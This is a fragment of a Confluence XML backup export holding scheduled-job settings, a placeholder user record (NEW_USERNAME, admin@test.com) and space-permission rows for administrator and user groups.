|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32851</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#FlushChangeIndexScheduledJob]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32848</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#ExpiredUserVerificationTokenCleanupJob]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32849</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#VersionHardRemovalScheduledJob]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>false</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32846</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#DeferredFileDeletionJob]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32847</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#TrashSoftRemovalScheduledJob]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32844</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#JournalCleaner]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32845</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#clearOldMailErrorsJob]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32842</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#VersionSoftRemovalScheduledJob]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32843</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#AncestorsRepairJob]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32840</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#ClusterCacheCompactionJob]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32841</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#JmxLoggingJob]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32838</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#CleanTempDirectoryJob]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32839</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#PropertyEntryGardeningJob]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32836</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[confluence.darkfeature]]></property>
|
||||
<property name="value"><![CDATA[<string>site-wide.shared-drafts</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32837</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.content.render.xhtml.migration.macro.MacroMigrationService]]></property>
|
||||
<property name="key"><![CDATA[migration.required]]></property>
|
||||
<property name="value"><![CDATA[<boolean>false</boolean>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32886</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[c.a.c.plugins:confluence-user-rest:hadHadASingleDirectory]]></property>
|
||||
<property name="value"><![CDATA[<string>true</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32887</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.admin.tasks.AdminTaskData]]></property>
|
||||
<property name="key"><![CDATA[admintask.remigration.xhtml]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.admin.tasks.AdminTaskData>
|
||||
<completedAt>2023-11-09 06:04:53.20 UTC</completedAt>
|
||||
</com.atlassian.confluence.admin.tasks.AdminTaskData>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32884</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#periodicEventPublisherJob]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32885</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[c.a.c.plugins:confluence-user-rest:firstCheckDateMs]]></property>
|
||||
<property name="value"><![CDATA[<string>1699509886924</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceUserImpl" package="com.atlassian.confluence.user">
|
||||
<id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
|
||||
<property name="name"><![CDATA[NEW_USERNAME]]></property>
|
||||
<property name="lowerName"><![CDATA[NEW_USERNAME_LOWER]]></property>
|
||||
<property name="email"><![CDATA[admin@test.com]]></property>
|
||||
</object>
|
||||
<object class="User2ContentRelationEntity" package="com.atlassian.confluence.internal.relations.dao">
|
||||
<id name="id">229377</id>
|
||||
<property name="targetContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98322</id>
|
||||
</property>
|
||||
<property name="sourceContent" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
|
||||
</property>
|
||||
<property name="targetType" enum-class="RelatableEntityTypeEnum" package="com.atlassian.confluence.internal.relations">PAGE</property>
|
||||
<property name="relationName"><![CDATA[collaborator]]></property>
|
||||
<property name="creationDate">2020-10-21 01:32:57.499</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
<property name="creator" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
|
||||
</property>
|
||||
<property name="lastModifier" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
|
||||
</property>
|
||||
</object>
|
||||
<object class="User2ContentRelationEntity" package="com.atlassian.confluence.internal.relations.dao">
|
||||
<id name="id">229378</id>
|
||||
<property name="targetContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98332</id>
|
||||
</property>
|
||||
<property name="sourceContent" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
|
||||
</property>
|
||||
<property name="targetType" enum-class="RelatableEntityTypeEnum" package="com.atlassian.confluence.internal.relations">PAGE</property>
|
||||
<property name="relationName"><![CDATA[collaborator]]></property>
|
||||
<property name="creationDate">2020-10-21 01:38:37.286</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
<property name="creator" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
|
||||
</property>
|
||||
<property name="lastModifier" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
|
||||
</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458796</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[REMOVEMAIL]]></property>
|
||||
<property name="group"><![CDATA[confluence-users]]></property>
|
||||
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.405</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.405</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458797</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[REMOVEMAIL]]></property>
|
||||
<property name="group"/><property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.407</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.407</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458798</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[SETPAGEPERMISSIONS]]></property>
|
||||
<property name="group"><![CDATA[confluence-administrators]]></property>
|
||||
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.408</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.408</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458799</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[SETPAGEPERMISSIONS]]></property>
|
||||
<property name="group"><![CDATA[confluence-users]]></property>
|
||||
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.411</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.411</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458792</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[EXPORTSPACE]]></property>
|
||||
<property name="group"><![CDATA[confluence-administrators]]></property>
|
||||
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.397</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.397</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458793</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[EXPORTSPACE]]></property>
|
||||
<property name="group"><![CDATA[confluence-users]]></property>
|
||||
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.399</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.399</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458794</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[EXPORTSPACE]]></property>
|
||||
<property name="group"/><property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.401</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.401</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458795</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[REMOVEMAIL]]></property>
|
||||
<property name="group"><![CDATA[confluence-administrators]]></property>
|
||||
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.403</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.403</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458788</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[REMOVEATTACHMENT]]></property>
|
||||
<property name="group"/><property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.387</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.387</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458789</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[EDITBLOG]]></property>
|
||||
<property name="group"><![CDATA[confluence-administrators]]></property>
|
||||
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.389</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.389</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458790</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[EDITBLOG]]></property>
|
||||
<property name="group"><![CDATA[confluence-users]]></property>
|
||||
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.391</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.391</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458791</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[EDITBLOG]]></property>
|
||||
<property name="group"/><property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.394</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.394</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458784</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[CREATEATTACHMENT]]></property>
|
||||
<property name="group"><![CDATA[confluence-users]]></property>
|
||||
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.376</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.376</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458785</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[CREATEATTACHMENT]]></property>
|
||||
<property name="group"/><property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.379</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.379</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458786</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[REMOVEATTACHMENT]]></property>
|
||||
<property name="group"><![CDATA[confluence-administrators]]></property>
|
||||
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.381</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.381</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458787</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[REMOVEATTACHMENT]]></property>
|
||||
<property name="group"><![CDATA[confluence-users]]></property>
|
||||
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.384</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.384</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458780</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[REMOVEBLOG]]></property>
|
||||
<property name="group"><![CDATA[confluence-administrators]]></property>
|
||||
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.367</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.367</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458781</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[REMOVEBLOG]]></property>
|
||||
<property name="group"><![CDATA[confluence-users]]></property>
|
||||
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.369</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.369</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458782</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[REMOVEBLOG]]></property>
|
||||
<property name="group"/><property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.371</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.371</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458783</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[CREATEATTACHMENT]]></property>
|
||||
<property name="group"><![CDATA[confluence-administrators]]></property>
|
||||
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.374</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.374</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458776</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[REMOVEPAGE]]></property>
|
||||
<property name="group"/><property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.356</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.356</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458777</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[REMOVECOMMENT]]></property>
|
||||
<property name="group"><![CDATA[confluence-administrators]]></property>
|
||||
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.361</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.361</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458778</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[REMOVECOMMENT]]></property>
|
||||
<property name="group"><![CDATA[confluence-users]]></property>
|
||||
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.363</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.363</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458779</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[REMOVECOMMENT]]></property>
|
||||
<property name="group"/><property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.365</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.365</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458772</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[EDITSPACE]]></property>
|
||||
<property name="group"/><property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.346</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.346</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458773</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[SETSPACEPERMISSIONS]]></property>
|
||||
<property name="group"><![CDATA[confluence-administrators]]></property>
|
||||
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.349</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.349</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458774</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[REMOVEPAGE]]></property>
|
||||
<property name="group"><![CDATA[confluence-administrators]]></property>
|
||||
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.351</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.351</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458775</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[REMOVEPAGE]]></property>
|
||||
<property name="group"><![CDATA[confluence-users]]></property>
|
||||
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.353</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.353</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458768</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[COMMENT]]></property>
|
||||
<property name="group"><![CDATA[confluence-users]]></property>
|
||||
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.336</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.336</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458769</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[COMMENT]]></property>
|
||||
<property name="group"/><property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.339</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.339</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458770</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[EDITSPACE]]></property>
|
||||
<property name="group"><![CDATA[confluence-administrators]]></property>
|
||||
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.341</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458771</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[EDITSPACE]]></property>
|
||||
<property name="group"><![CDATA[confluence-users]]></property>
|
||||
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.344</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.344</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458764</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[REMOVEOWNCONTENT]]></property>
|
||||
<property name="group"><![CDATA[confluence-administrators]]></property>
|
||||
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.323</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.323</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458765</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[REMOVEOWNCONTENT]]></property>
|
||||
<property name="group"><![CDATA[confluence-users]]></property>
|
||||
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.326</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.326</property>
|
||||
</object>
|
||||
